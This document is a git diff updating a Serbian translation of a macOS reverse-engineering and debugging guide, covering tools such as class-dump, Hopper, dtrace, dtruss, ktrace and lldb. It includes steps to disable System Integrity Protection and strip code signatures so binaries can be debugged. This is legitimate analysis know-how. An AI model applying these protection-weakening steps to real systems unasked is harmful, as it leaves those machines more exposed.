||||||
# Get MIG information
|
# Get MIG information
|
||||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||||
```
|
```
|
||||||
### Codesign / ldid
|
### Potpisivanje koda / ldid
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
**`Codesign`** se može pronaći u **macOS-u**, dok se **`ldid`** može pronaći u **iOS-u**.
|
**`Codesign`** se može pronaći u **macOS-u**, dok se **`ldid`** može pronaći u **iOS-u**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```bash
|
```bash
|
||||||
# Get signer
|
# Get signer
|
||||||
|
@ -86,28 +84,28 @@ ldid -S/tmp/entl.xml <binary>
|
||||||
```
|
```
|
||||||
### SuspiciousPackage
|
### SuspiciousPackage
|
||||||
|
|
||||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) je alat koji je koristan za inspekciju **.pkg** fajlova (instalera) i pregled sadržaja pre nego što se instalira.\
|
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) je alat koristan za inspekciju **.pkg** fajlova (instalatera) i videti šta se nalazi unutra pre instalacije.\
|
||||||
Ovi instalateri imaju `preinstall` i `postinstall` bash skripte koje autori malvera obično zloupotrebljavaju kako bi **trajno** **instalirali** **malver**.
|
Ovi instalateri imaju `preinstall` i `postinstall` bash skripte koje zlonamerni autori obično zloupotrebljavaju da bi **upornost** **malvera**.
|
||||||
|
|
||||||
### hdiutil
|
### hdiutil
|
||||||
|
|
||||||
Ovaj alat omogućava **montiranje** Apple disk slika (**.dmg**) fajlova kako bi se pregledali pre pokretanja bilo čega:
|
Ovaj alat omogućava **montiranje** Apple disk slika (**.dmg**) fajlova radi njihove inspekcije pre pokretanja bilo čega:
|
||||||
```bash
|
```bash
|
||||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||||
```
|
```
|
||||||
Biće montirano u `/Volumes`
|
Biće montiran u `/Volumes`
|
||||||
|
|
||||||
### Objective-C
|
### Objective-C
|
||||||
|
|
||||||
#### Metapodaci
|
#### Metapodaci
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Imajte na umu da programi napisani u Objective-C **zadržavaju** svoje deklaracije klasa **kada** **kompiliraju** u [Mach-O binarne datoteke](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Takve deklaracije klasa **uključuju** ime i tip:
|
Imajte na umu da programi napisani u Objective-C **zadržavaju** svoje deklaracije klasa **kada** **se kompajliraju** u [Mach-O binarne datoteke](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Takve deklaracije klasa **uključuju** ime i tip:
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* Klasa
|
* Klasu
|
||||||
* Metode klase
|
* Metode klase
|
||||||
* Instancne varijable klase
|
* Instance varijable klase
|
||||||
|
|
||||||
Ove informacije možete dobiti koristeći [**class-dump**](https://github.com/nygard/class-dump):
|
Ove informacije možete dobiti koristeći [**class-dump**](https://github.com/nygard/class-dump):
|
||||||
```bash
|
```bash
|
||||||
|
@ -115,31 +113,39 @@ class-dump Kindle.app
|
||||||
```
|
```
|
||||||
#### Pozivanje funkcija
|
#### Pozivanje funkcija
|
||||||
|
|
||||||
Kada se funkcija poziva u binarnom fajlu koji koristi Objective-C, kompajlirani kod umesto pozivanja te funkcije, poziva **`objc_msgSend`**. Ova funkcija zatim poziva konačnu funkciju:
|
Kada se funkcija pozove u binarnom fajlu koji koristi Objective-C, kompajlirani kod umesto pozivanja te funkcije, pozvaće **`objc_msgSend`**. Što će pozvati konačnu funkciju:
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (560).png>)
|
![](<../../../.gitbook/assets/image (560).png>)
|
||||||
|
|
||||||
Parametri koje ova funkcija očekuje su:
|
Parametri koje ova funkcija očekuje su:
|
||||||
|
|
||||||
* Prvi parametar (**self**) je "pokazivač koji pokazuje na **instancu klase koja treba da primi poruku**". Jednostavnije rečeno, to je objekat nad kojim se poziva metoda. Ako je metoda klasna metoda, ovo će biti instanca objekta klase (u celini), dok će za instancnu metodu, self pokazivati na instanciranu instancu klase kao objekat.
|
- Prvi parametar (**self**) je "pokazivač koji pokazuje na **instancu klase koja treba da primi poruku**". Jednostavnije rečeno, to je objekat na koji se metod poziva. Ako je metod klasni metod, ovo će biti instanca objekta klase (u celini), dok će za instancu metoda, self pokazivati na instanciranu instancu klase kao objekat.
|
||||||
* Drugi parametar (**op**) je "selektor metode koja obrađuje poruku". Ponovo, jednostavnije rečeno, ovo je samo **ime metode**.
|
- Drugi parametar, (**op**), je "selektor metoda koji obrađuje poruku". Ponovo, jednostavnije rečeno, ovo je samo **ime metoda**.
|
||||||
* Preostali parametri su bilo **koje vrednosti koje su potrebne metodi** (op).
|
- Preostali parametri su bilo **vrednosti koje su potrebne metodu** (op).
|
||||||
|
|
||||||
| **Argument** | **Registar** | **(za) objc\_msgSend** |
|
Pogledajte kako **lako dobiti ove informacije sa `lldb` u ARM64** na ovoj stranici:
|
||||||
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
|
|
||||||
| **1. argument** | **rdi** | **self: objekat nad kojim se poziva metoda** |
|
{% content-ref url="arm64-basic-assembly.md" %}
|
||||||
| **2. argument** | **rsi** | **op: ime metode** |
|
[arm64-basic-assembly.md](arm64-basic-assembly.md)
|
||||||
| **3. argument** | **rdx** | **1. argument metode** |
|
{% endcontent-ref %}
|
||||||
| **4. argument** | **rcx** | **2. argument metode** |
|
|
||||||
| **5. argument** | **r8** | **3. argument metode** |
|
x64:
|
||||||
| **6. argument** | **r9** | **4. argument metode** |
|
|
||||||
| **7.+ argument** | <p><strong>rsp+</strong><br><strong>(na steku)</strong></p> | **5.+ argument metode** |
|
| **Argument** | **Registar** | **(za) objc\_msgSend** |
|
||||||
|
| ----------------- | -------------------------------------------------------------- | ----------------------------------------------------- |
|
||||||
|
| **1. argument** | **rdi** | **self: objekat na koji se metod poziva** |
|
||||||
|
| **2. argument** | **rsi** | **op: ime metoda** |
|
||||||
|
| **3. argument** | **rdx** | **1. argument metodu** |
|
||||||
|
| **4. argument** | **rcx** | **2. argument metodu** |
|
||||||
|
| **5. argument** | **r8** | **3. argument metodu** |
|
||||||
|
| **6. argument** | **r9** | **4. argument metodu** |
|
||||||
|
| **7.+ argument** | <p><strong>rsp+</strong><br><strong>(na steku)</strong></p> | **5.+ argument metodu** |
|
||||||
|
|
||||||
### Swift
|
### Swift
|
||||||
|
|
||||||
Sa Swift binarnim fajlovima, s obzirom da postoji kompatibilnost sa Objective-C, ponekad možete izvući deklaracije koristeći [class-dump](https://github.com/nygard/class-dump/), ali ne uvek.
|
Sa Swift binarnim fajlovima, s obzirom da postoji kompatibilnost sa Objective-C, ponekad možete izvući deklaracije koristeći [class-dump](https://github.com/nygard/class-dump/) ali ne uvek.
|
||||||
|
|
||||||
Pomoću komandne linije **`jtool -l`** ili **`otool -l`** moguće je pronaći nekoliko sekcija koje počinju sa prefiksom **`__swift5`**.
|
Pomoću komandne linije **`jtool -l`** ili **`otool -l`** moguće je pronaći nekoliko sekcija koje počinju sa prefiksom **`__swift5`**:
|
||||||
```bash
|
```bash
|
||||||
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
|
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
|
||||||
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
|
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
|
||||||
|
@ -151,9 +157,9 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
|
||||||
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
Možete pronaći dodatne informacije o **informacijama koje se čuvaju u ovim sekcijama u ovom blog postu**.
|
Možete pronaći dodatne informacije o **informacijama koje se čuvaju u ovim odeljcima u ovom blog postu**.
|
||||||
|
|
||||||
Osim toga, **Swift binarni fajlovi mogu imati simbole** (na primer, biblioteke moraju čuvati simbole kako bi se funkcije mogle pozvati). **Simboli obično sadrže informacije o imenu funkcije** i atributima na ružan način, pa su vrlo korisni i postoje "**demangleri**" koji mogu dobiti originalno ime:
|
Štaviše, **Swift binarni fajlovi mogu imati simbole** (na primer, biblioteke moraju čuvati simbole kako bi se funkcije mogle pozvati). **Simboli obično sadrže informacije o imenu funkcije** i atributima na ružan način, pa su veoma korisni, i postoje "**demangleri**" koji mogu dobiti originalno ime:
|
||||||
```bash
|
```bash
|
||||||
# Ghidra plugin
|
# Ghidra plugin
|
||||||
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
||||||
|
@ -163,58 +169,58 @@ swift demangle
|
||||||
```
|
```
|
||||||
### Pakovani binarnih fajlova
|
### Pakovani binarnih fajlova
|
||||||
|
|
||||||
* Proverite visoku entropiju
|
* Provera visoke entropije
|
||||||
* Proverite stringove (ako nema razumljivih stringova, pakovan je)
|
* Provera stringova (da li postoji skoro nijedan razumljiv string, pakovan)
|
||||||
* UPX paket za MacOS generise sekciju nazvanu "\_\_XHDR"
|
* UPX paket za MacOS generiše sekciju nazvanu "\_\_XHDR"
|
||||||
|
|
||||||
## Dinamicka analiza
|
## Dinamička analiza
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Napomena da bi se debagovale binarne datoteke, **SIP mora biti onemogucen** (`csrutil disable` ili `csrutil enable --without debug`) ili kopirati binarne datoteke u privremeni folder i **ukloniti potpis** sa `codesign --remove-signature <putanja-do-binarnog-fajla>` ili dozvoliti debagovanje binarnog fajla (mozete koristiti [ovaj skript](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
Imajte na umu da bi za debagovanje binarnih fajlova, **SIP treba da bude onemogućen** (`csrutil disable` ili `csrutil enable --without debug`) ili da kopirate binarne fajlove u privremenu fasciklu i **uklonite potpis** sa `codesign --remove-signature <putanja-do-binarnog-fajla>` ili dozvolite debagovanje binarnog fajla (možete koristiti [ovaj skript](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Napomena da bi se **instrumentirale sistemski binarni fajlovi** (kao sto je `cloudconfigurationd`) na macOS-u, **SIP mora biti onemogucen** (samo uklanjanje potpisa nece raditi).
|
Imajte na umu da bi za **instrumentiranje sistemskih binarnih fajlova** (kao što je `cloudconfigurationd`) na macOS-u, **SIP mora biti onemogućen** (samo uklanjanje potpisa neće raditi).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Unified Logs
|
### Unified Logs
|
||||||
|
|
||||||
MacOS generise mnogo logova koji mogu biti veoma korisni prilikom pokretanja aplikacije i pokusaja razumevanja **sta radi**.
|
MacOS generiše mnogo logova koji mogu biti veoma korisni prilikom pokretanja aplikacije pokušavajući da razumete **šta radi**.
|
||||||
|
|
||||||
Osim toga, postoje neki logovi koji ce sadrzati oznaku `<private>` da bi **sakrili** neke **identifikacione informacije** korisnika ili racunara. Medjutim, moguce je **instalirati sertifikat da bi se ove informacije otkrile**. Pratite objasnjenja sa [**ovde**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
Osim toga, postoje neki logovi koji će sadržati oznaku `<private>` da bi **sakrili** neke **identifikacione** informacije **korisnika** ili **računara**. Međutim, moguće je **instalirati sertifikat da biste otkrili ove informacije**. Pratite objašnjenja sa [**ovde**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||||
|
|
||||||
### Hopper
|
### Hopper
|
||||||
|
|
||||||
#### Leva tabla
|
#### Leva tabla
|
||||||
|
|
||||||
U levoj tabli hoppera mogu se videti simboli (**Oznake**) binarnog fajla, lista procedura i funkcija (**Proc**) i stringovi (**Str**). To nisu svi stringovi, vec oni definisani u nekoliko delova Mac-O fajla (kao sto su _cstring ili `objc_methname`).
|
Na levoj tabli Hoppera mogu se videti simboli (**Oznake**) binarnog fajla, lista procedura i funkcija (**Proc**) i stringovi (**Str**). To nisu svi stringovi, već oni definisani u nekoliko delova Mac-O fajla (kao što su _cstring ili_ `objc_methname`).
|
||||||
|
|
||||||
#### Srednja tabla
|
#### Srednja tabla
|
||||||
|
|
||||||
U srednjoj tabli mozete videti **rasclanjenu kod**. I mozete ga videti kao **sirovi** disasembl, kao **graf**, kao **dekompajlirani** i kao **binarni** klikom na odgovarajucu ikonu:
|
Na srednjoj tabli možete videti **dizasemblovani kod**. I možete ga videti kao **sirov** disasemblovani kod, kao **graf**, kao **dekompilirani** i kao **binarni** klikom na odgovarajuću ikonu:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Desnim klikom na kodni objekat mozete videti **reference ka/tom objektu** ili cak promeniti njegovo ime (ovo ne radi u dekompajliranom pseudokodu):
|
Desnim klikom na objekat koda možete videti **reference ka/tom objektu** ili čak promeniti njegovo ime (ovo ne funkcioniše u dekompiliranom pseudokodu):
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Osim toga, u **sredini dole mozete pisati python komande**.
|
Osim toga, u **sredini dole možete pisati Python komande**.
|
||||||
|
|
||||||
#### Desna tabla
|
#### Desna tabla
|
||||||
|
|
||||||
U desnoj tabli mozete videti interesantne informacije kao sto su **istorija navigacije** (tako da znate kako ste dosli do trenutne situacije), **graf poziva** gde mozete videti sve **funkcije koje pozivaju ovu funkciju** i sve funkcije koje **ova funkcija poziva**, i informacije o **lokalnim varijablama**.
|
Na desnoj tabli možete videti zanimljive informacije kao što su **istorija navigacije** (da znate kako ste stigli do trenutne situacije), **pozivni grafikon** gde možete videti sve **funkcije koje pozivaju ovu funkciju** i sve funkcije koje **ova funkcija poziva**, i informacije o **lokalnim promenljivima**.
|
||||||
|
|
||||||
### dtrace
|
### dtrace
|
||||||
|
|
||||||
Omogucava korisnicima pristup aplikacijama na izuzetno **niskom nivou** i pruza nacin korisnicima da **prate** **programe** i cak promene njihov tok izvrsavanja. Dtrace koristi **probe** koje su **postavljene u celom kernelu** i nalaze se na mestima kao sto su pocetak i kraj sistemskih poziva.
|
Omogućava korisnicima pristup aplikacijama na izuzetno **niskom nivou** i pruža način korisnicima da **prate** **programe** i čak promene njihov tok izvršavanja. Dtrace koristi **sonde** koje su **postavljene širom jezgra** i nalaze se na lokacijama poput početka i kraja sistemskih poziva.
|
||||||
|
|
||||||
DTrace koristi funkciju **`dtrace_probe_create`** za kreiranje sonde za svaki sistemski poziv. Ove sonde mogu biti aktivirane na **ulaznoj i izlaznoj tacki svakog sistemskog poziva**. Interakcija sa DTrace se odvija preko /dev/dtrace koji je dostupan samo root korisniku.
|
DTrace koristi funkciju **`dtrace_probe_create`** za kreiranje sonde za svaki sistemski poziv. Ove sonde mogu biti aktivirane na **ulaznoj i izlaznoj tački svakog sistemskog poziva**. Interakcija sa DTrace-om se odvija preko /dev/dtrace koji je dostupan samo root korisniku.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Da biste omogucili Dtrace bez potpune onemogucenosti SIP zastite, mozete izvrsiti na recovery modu: `csrutil enable --without dtrace`
|
Da biste omogućili Dtrace bez potpune onemogućenosti SIP zaštite, možete izvršiti u režimu oporavka: `csrutil enable --without dtrace`
|
||||||
|
|
||||||
Takodje mozete koristiti **`dtrace`** ili **`dtruss`** binarne fajlove koje **ste kompajlirali**.
|
Takođe možete **`dtrace`** ili **`dtruss`** binarne fajlove koje **ste kompajlirali**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Dostupne sonde dtrace-a mogu se dobiti sa:
|
Dostupne sonde dtrace-a mogu se dobiti sa:
|
||||||
|
@ -227,9 +233,9 @@ ID PROVIDER MODULE FUNCTION NAME
|
||||||
43 profile profile-97
|
43 profile profile-97
|
||||||
44 profile profile-199
|
44 profile profile-199
|
||||||
```
|
```
|
||||||
Ime sonde se sastoji od četiri dela: pružalac, modul, funkcija i ime (`fbt:mach_kernel:ptrace:entry`). Ako ne navedete neki deo imena, Dtrace će ga primeniti kao džoker.
|
Ime sonde se sastoji od četiri dela: pružalac, modul, funkcija i ime (`fbt:mach_kernel:ptrace:entry`). Ako ne navedete neki deo imena, Dtrace će taj deo primeniti kao zamenski znak.
|
||||||
|
|
||||||
Da biste konfigurisali DTrace da aktivira sonde i da odredite koje radnje treba izvršiti kada se aktiviraju, moraćemo koristiti D jezik.
|
Da biste konfigurisali DTrace da aktivira sonde i specificira koje akcije treba izvršiti kada se aktiviraju, moraćemo koristiti D jezik.
|
||||||
|
|
||||||
Detaljnije objašnjenje i više primera možete pronaći na [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
|
Detaljnije objašnjenje i više primera možete pronaći na [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
|
||||||
|
|
||||||
|
@ -237,53 +243,12 @@ Detaljnije objašnjenje i više primera možete pronaći na [https://illumos.org
|
||||||
|
|
||||||
Pokrenite `man -k dtrace` da biste videli **dostupne DTrace skripte**. Primer: `sudo dtruss -n binary`
|
Pokrenite `man -k dtrace` da biste videli **dostupne DTrace skripte**. Primer: `sudo dtruss -n binary`
|
||||||
|
|
||||||
* Na liniji
|
* U liniji
|
||||||
```bash
|
```bash
|
||||||
#Count the number of syscalls of each running process
|
#Count the number of syscalls of each running process
|
||||||
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
|
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
|
||||||
```
|
```
|
||||||
# Inspekcija, debagovanje i faziiranje macOS aplikacija
|
* skripta
|
||||||
|
|
||||||
Ovaj direktorijum sadrži informacije i tehnike koje se odnose na inspekciju, debagovanje i faziiranje macOS aplikacija.
|
|
||||||
|
|
||||||
## Inspekcija aplikacija
|
|
||||||
|
|
||||||
### Osnovne informacije o aplikaciji
|
|
||||||
|
|
||||||
Da biste dobili osnovne informacije o macOS aplikaciji, možete koristiti sledeće alate:
|
|
||||||
|
|
||||||
- `codesign`: Koristi se za proveru digitalnog potpisa aplikacije.
|
|
||||||
- `otool`: Omogućava pregled informacija o objektima u izvršnom fajlu aplikacije.
|
|
||||||
- `spctl`: Koristi se za proveru potpisa aplikacije i njenog porekla.
|
|
||||||
|
|
||||||
### Analiza aplikacije
|
|
||||||
|
|
||||||
Za detaljniju analizu macOS aplikacija, možete koristiti sledeće alate:
|
|
||||||
|
|
||||||
- `class-dump`: Omogućava izdvajanje deklaracija klasa iz izvršnog fajla aplikacije.
|
|
||||||
- `Hopper Disassembler`: Napredni disasembler koji vam omogućava da analizirate izvršni fajl aplikacije.
|
|
||||||
- `IDA Pro`: Profesionalni disasembler i debager koji vam omogućava da analizirate izvršni fajl aplikacije.
|
|
||||||
|
|
||||||
## Debagovanje aplikacija
|
|
||||||
|
|
||||||
Da biste debagovali macOS aplikaciju, možete koristiti sledeće alate:
|
|
||||||
|
|
||||||
- `lldb`: Debager koji je ugrađen u Xcode i omogućava vam da debagovali izvršni fajl aplikacije.
|
|
||||||
- `gdb`: Univerzalni debager koji može biti korišćen za debagovanje izvršnih fajlova aplikacija.
|
|
||||||
|
|
||||||
## Faziiranje aplikacija
|
|
||||||
|
|
||||||
Faziiranje aplikacija je proces testiranja aplikacija na greške i ranjivosti. Za faziiranje macOS aplikacija, možete koristiti sledeće alate:
|
|
||||||
|
|
||||||
- `AFL`: Fuzzer koji koristi tehnike generisanja mutacija za pronalaženje grešaka u aplikacijama.
|
|
||||||
- `honggfuzz`: Efikasan fuzzer koji koristi tehnike generisanja mutacija i heuristike za pronalaženje grešaka u aplikacijama.
|
|
||||||
|
|
||||||
## Dodatni resursi
|
|
||||||
|
|
||||||
Ovde možete pronaći dodatne resurse i informacije o inspekciji, debagovanju i faziiranju macOS aplikacija:
|
|
||||||
|
|
||||||
- [macOS Security and Privacy Guide](https://github.com/drduh/macOS-Security-and-Privacy-Guide): Vodič koji pruža informacije o bezbednosti i privatnosti na macOS platformi.
|
|
||||||
- [Awesome Mac Security](https://github.com/drduh/awesome-mac-security): Lista resursa i alata za macOS bezbednost.
|
|
||||||
```bash
|
```bash
|
||||||
syscall:::entry
|
syscall:::entry
|
||||||
/pid == $1/
|
/pid == $1/
|
||||||
|
@ -322,94 +287,78 @@ printf("=%d\n", arg1);
|
||||||
sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
||||||
```
|
```
|
||||||
### dtruss
|
### dtruss
|
||||||
|
|
||||||
`dtruss` je alatka koja se koristi za inspekciju i debagovanje aplikacija na macOS operativnom sistemu. Ova alatka pruža mogućnost praćenja sistema poziva (system calls) koje aplikacija izvršava tokom svog izvršavanja.
|
|
||||||
|
|
||||||
Korišćenje `dtruss` alatke omogućava vam da pratite i analizirate interakciju između aplikacije i operativnog sistema. Možete videti koje sistemske pozive aplikacija koristi, kao i argumente koje šalje tim pozivima. Ovo može biti korisno za pronalaženje grešaka, otkrivanje sigurnosnih propusta ili razumevanje kako aplikacija funkcioniše.
|
|
||||||
|
|
||||||
Da biste koristili `dtruss`, jednostavno pokrenite komandu `dtruss` sa putanjom do izvršne datoteke aplikacije koju želite da pratite. Alatka će zatim prikazati sve sistemske pozive koje aplikacija izvršava, zajedno sa njihovim argumentima i povratnim vrednostima.
|
|
||||||
|
|
||||||
Na primer, možete pokrenuti sledeću komandu da biste pratili sistemske pozive aplikacije `myapp`:
|
|
||||||
|
|
||||||
```
|
|
||||||
dtruss /putanja/do/myapp
|
|
||||||
```
|
|
||||||
|
|
||||||
Ovo će prikazati sve sistemske pozive koje `myapp` izvršava tokom svog izvršavanja. Možete koristiti ove informacije za analizu i debagovanje aplikacije, kao i za pronalaženje potencijalnih sigurnosnih propusta.
|
|
||||||
|
|
||||||
Važno je napomenuti da `dtruss` zahteva privilegije root korisnika kako bi pratio sistemske pozive drugih aplikacija. Takođe, budite oprezni prilikom korišćenja ove alatke, jer nepravilna upotreba može dovesti do nestabilnosti sistema ili ometanja normalnog rada aplikacija.
|
|
||||||
```bash
|
```bash
|
||||||
dtruss -c ls #Get syscalls of ls
|
dtruss -c ls #Get syscalls of ls
|
||||||
dtruss -c -p 1000 #get syscalls of PID 1000
|
dtruss -c -p 1000 #get syscalls of PID 1000
|
||||||
```
|
```
|
||||||
### ktrace
|
### ktrace
|
||||||
|
|
||||||
Možete koristiti ovu metodu čak i kada je **SIP aktiviran**.
|
Možete koristiti ovu čak i kada je **SIP aktiviran**
|
||||||
```bash
|
```bash
|
||||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||||
```
|
```
|
||||||
### ProcessMonitor
|
### ProcessMonitor
|
||||||
|
|
||||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) je veoma koristan alat za proveru akcija koje proces izvršava (na primer, praćenje novih procesa koje proces kreira).
|
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) je veoma koristan alat za proveru akcija povezanih sa procesom koje proces obavlja (na primer, praćenje novih procesa koje proces kreira).
|
||||||
|
|
||||||
### SpriteTree
|
### SpriteTree
|
||||||
|
|
||||||
[**SpriteTree**](https://themittenmac.com/tools/) je alat koji prikazuje odnose između procesa.\
|
[**SpriteTree**](https://themittenmac.com/tools/) je alat koji prikazuje odnose između procesa.\
|
||||||
Treba da pratite vaš Mac pomoću komande kao što je **`sudo eslogger fork exec rename create > cap.json`** (terminal koji pokreće ovu komandu zahteva FDA). Zatim možete učitati json datoteku u ovaj alat da biste videli sve odnose:
|
Potrebno je pratiti vaš Mac pomoću komande poput **`sudo eslogger fork exec rename create > cap.json`** (terminal koji pokreće ovo zahteva FDA). Zatim možete učitati json datoteku u ovaj alat da biste videli sve odnose:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (710).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (710).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### FileMonitor
|
### FileMonitor
|
||||||
|
|
||||||
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) omogućava praćenje događaja vezanih za datoteke (kao što su kreiranje, izmene i brisanje), pružajući detaljne informacije o tim događajima.
|
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) omogućava praćenje događaja sa datotekama (kao što su kreiranje, izmene i brisanje), pružajući detaljne informacije o takvim događajima.
|
||||||
|
|
||||||
### Crescendo
|
### Crescendo
|
||||||
|
|
||||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) je GUI alat koji korisnicima Windows-a može biti poznat po izgledu i osećaju Microsoft Sysinternal's _Procmon_. Ovaj alat omogućava pokretanje i zaustavljanje snimanja različitih vrsta događaja, filtriranje tih događaja po kategorijama kao što su datoteka, proces, mreža itd., i pruža funkcionalnost za čuvanje snimljenih događaja u json formatu.
|
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) je GUI alat sa izgledom koji korisnici Windowsa mogu prepoznati iz Microsoft Sysinternal-ovog _Procmon_-a. Ovaj alat omogućava pokretanje i zaustavljanje snimanja različitih vrsta događaja, omogućava filtriranje ovih događaja po kategorijama kao što su datoteka, proces, mreža, itd., i pruža funkcionalnost za čuvanje snimljenih događaja u json formatu.
|
||||||
|
|
||||||
### Apple Instruments
|
### Apple Instruments
|
||||||
|
|
||||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) su deo Xcode-ovih razvojnih alata - koriste se za praćenje performansi aplikacija, identifikaciju curenja memorije i praćenje aktivnosti na fajl sistemu.
|
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) su deo Xcode-ovih Developer alata - koriste se za praćenje performansi aplikacija, identifikaciju curenja memorije i praćenje aktivnosti sistema datoteka.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (15).png>)
|
![](<../../../.gitbook/assets/image (15).png>)
|
||||||
|
|
||||||
### fs\_usage
|
### fs\_usage
|
||||||
|
|
||||||
Omogućava praćenje akcija koje procesi izvršavaju:
|
Omogućava praćenje akcija koje obavljaju procesi:
|
||||||
```bash
|
```bash
|
||||||
fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls
|
fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls
|
||||||
fs_usage -w -f network curl #This tracks network actions
|
fs_usage -w -f network curl #This tracks network actions
|
||||||
```
|
```
|
||||||
### TaskExplorer
|
### TaskExplorer
|
||||||
|
|
||||||
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) je koristan alat za pregledanje **biblioteka** koje koristi binarna datoteka, **datoteke** koje koristi i **mrežne** veze koje uspostavlja.\
|
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) je koristan alat za pregled **biblioteka** koje koristi binarni fajl, **datoteke** koje koristi i **mrežne** veze.\
|
||||||
Takođe proverava binarne procese na **virustotalu** i prikazuje informacije o binarnoj datoteci.
|
Takođe proverava binarne procese protiv **virustotala** i prikazuje informacije o binarnom fajlu.
|
||||||
|
|
||||||
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
||||||
|
|
||||||
U [**ovom blog postu**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) možete pronaći primer kako **debugovati pokrenuti daemon** koji koristi **`PT_DENY_ATTACH`** da bi sprečio debugovanje čak i ako je SIP onemogućen.
|
U [**ovom blog postu**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) možete pronaći primer kako **debugovati pokrenuti daemon** koji koristi **`PT_DENY_ATTACH`** kako bi sprečio debugovanje čak i ako je SIP onemogućen.
|
||||||
|
|
||||||
### lldb
|
### lldb
|
||||||
|
|
||||||
**lldb** je de **facto alat** za **debugovanje** binarnih datoteka na macOS-u.
|
**lldb** je glavni alat za **debugovanje** binarnih fajlova na **macOS** platformi.
|
||||||
```bash
|
```bash
|
||||||
lldb ./malware.bin
|
lldb ./malware.bin
|
||||||
lldb -p 1122
|
lldb -p 1122
|
||||||
lldb -n malware.bin
|
lldb -n malware.bin
|
||||||
lldb -n malware.bin --waitfor
|
lldb -n malware.bin --waitfor
|
||||||
```
|
```
|
||||||
Možete postaviti Intel stil kada koristite lldb tako što ćete kreirati datoteku nazvanu **`.lldbinit`** u vašem matičnom folderu sa sledećom linijom:
|
Možete postaviti intel ukus prilikom korišćenja lldb-a kreiranjem datoteke nazvane **`.lldbinit`** u vašem matičnom folderu sa sledećom linijom:
|
||||||
```bash
|
```bash
|
||||||
settings set target.x86-disassembly-flavor intel
|
